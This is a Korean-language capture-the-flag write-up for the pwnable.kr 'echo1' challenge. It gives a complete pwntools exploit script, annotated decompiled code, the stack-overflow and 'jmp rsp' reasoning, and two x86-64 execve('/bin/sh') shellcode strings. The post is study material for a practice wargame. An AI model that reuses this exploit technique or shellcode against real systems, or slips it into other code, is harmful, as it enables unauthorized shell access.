반응형
from pwn import *
p = remote("pwnable.kr", 9010)
# p = process("./echo1")
e = ELF("./echo1")
jmp_rsp = b"\xff\xe4" # asm('jmp rsp')
id = e.symbols['id']
shell_23 = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
shell_31 = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
p.sendlineafter("hey, what's your name? : ", jmp_rsp)
p.sendlineafter("> ", "1")
p.recvuntil(jmp_rsp+b"\n")
p.sendline(b'A'*0x28+p64(id)+shell_31)
p.recvline()
p.recvline()
p.interactive()
int __cdecl main(int argc, const char **argv, const char **envp)
{
_QWORD *v3; // rax
unsigned int i; // [rsp+Ch] [rbp-24h] BYREF
_QWORD v6[4]; // [rsp+10h] [rbp-20h] BYREF
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
// 전역변수 o
o = malloc(0x28uLL);
*((_QWORD *)o + 3) = greetings; // o+0x18, printf("hello %s\n", a1);
*((_QWORD *)o + 4) = byebye; // o+0x20, printf("goodbye %s\n", a1)
printf("hey, what's your name? : ");
__isoc99_scanf("%24s", v6); // v6[0]~v6[3] 입력받아
v3 = o;
*(_QWORD *)o = v6[0];
v3[1] = v6[1]; // o+0x8
v3[2] = v6[2]; // o+0x10
id = v6[0]; // 전역변수 id에 저장
getchar();
func[0] = (__int64)echo1; // 전역변수 func, func[2] 바로 뒤에 전역변수 o 등장
qword_602088 = (__int64)echo2; // func[1], puts("not supported");
qword_602090 = (__int64)echo3; // func[2], puts("not supported");
for ( i = 0; i != 121; i = getchar() ) // 'y' 입력하면 계속 반복
{
while ( 1 )
{
while ( 1 )
{
puts("\n- select echo type -");
puts("- 1. : BOF echo");
puts("- 2. : FSB echo");
puts("- 3. : UAF echo");
puts("- 4. : exit");
printf("> ");
__isoc99_scanf("%d", &i);
getchar();
if ( i > 3 )
break;
((void (*)(void))func[i - 1])(); // oob 취약점? func 이전 영역에 의미있는 전역변수 없네
}
if ( i == 4 )
break;
puts("invalid menu");
}
cleanup(); // free(o); , uaf 취약점?
printf("Are you sure you want to exit? (y/n)");
}
puts("bye");
return 0;
}
__int64 echo1()
{
char s[32]; // [rsp+0h] [rbp-20h] BYREF
(*((void (__fastcall **)(void *))o + 3))(o);
get_input(s, 128LL); // fgets(s, 128LL, stdin), bof 취약점
puts(s);
(*((void (__fastcall **)(void *))o + 4))(o);
return 0LL;
}
- checksec 결과: Partial RELRO, No canary, NX enabled, No PIE 랬지만..
- vmmap으로 확인해보니 바이너리 대부분의 영역 실행권한 존재(스택 rwx, 전역변수들 속해있는 bss 영역도 rwx)
- echo1() bof 취약점 존재, main 함수의 스택 프레임까지 침범 가능
- 32자 입력해 SFP(main 함수의 rbp) 유출한 후,
- 다음 사이클에 쉘코드 입력 후 echo1()의 리턴주소를 쉘코드 시작위치로 덮는다.
하지만!!
- fgets 널바이트 추가해버려서 stack leak를 못하네?
- ASLR 걸려있어서 스택, 힙 영역은 이용하기 힘들고..
- v6 첫 8byte가 전역변수 id에 저장된다 (주소 고정!, 4byte 사용 가능)
- RET을 id(0x6020a0)로 덮어씌우고, id에 'jmp rsp' 입력
- jmp rsp에 의해 RIP가 shellcode 시작점으로 이동함!
- payload = 'A'*0x28 + p64(0x6020a0) + (shellcode)
새로 알게된 점
1. char *fgets(char *str, int n, FILE *stream)
- (n-1)개의 문자를 읽어들였을 때
- newline character('\n', 0xa in ascii)을 만났을 때 (엔터까지 읽는다)
- 혹은 파일의 EOF에 도달했을 때까지 읽는다.
- 읽은 문자열 끝에 널 문자를 추가한다.
- \x0b(vertical tab), \x0c(form feed), \x0d(carriage return), space 같은 다른 whitespace도 제대로 입력 받을 수 있다
- 반면 scanf, gets 같은 함수는 whitespace를 line terminator로 인식 (뒤에 널바이트는 추가!)
2. 64bit shellcode
http://shell-storm.org/shellcode/index.html
Shellcodes database for study cases
API It is very straightforward to communicate with this API. Just send a simple GET method. The "s" argument contains your keyword. http://shell-storm.org/api/?s= Use "*" for multiple keywords search. /?s= * * The output should be like this: :::: :::: ::::
shell-storm.org
"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
참고로 이번 exploit 에선 둘 다 됐음!
3. python에서 assembly to bytecode 변환
context(arch='amd64', os='linux')
asm('jmp rsp')
반응형
'security > 포너블 - pwnable.kr' 카테고리의 다른 글
pwnable.kr - [Rookiss] echo2 (1) | 2023.02.25 |
---|---|
pwnable.kr - [Rookiss] fix (0) | 2023.02.23 |
pwnable.kr - [Rookiss] ascii_easy (0) | 2023.02.19 |
pwnable.kr - [Rookiss] tiny_easy (0) | 2023.02.19 |
pwnable.kr - [Rookiss] fsb (0) | 2023.02.18 |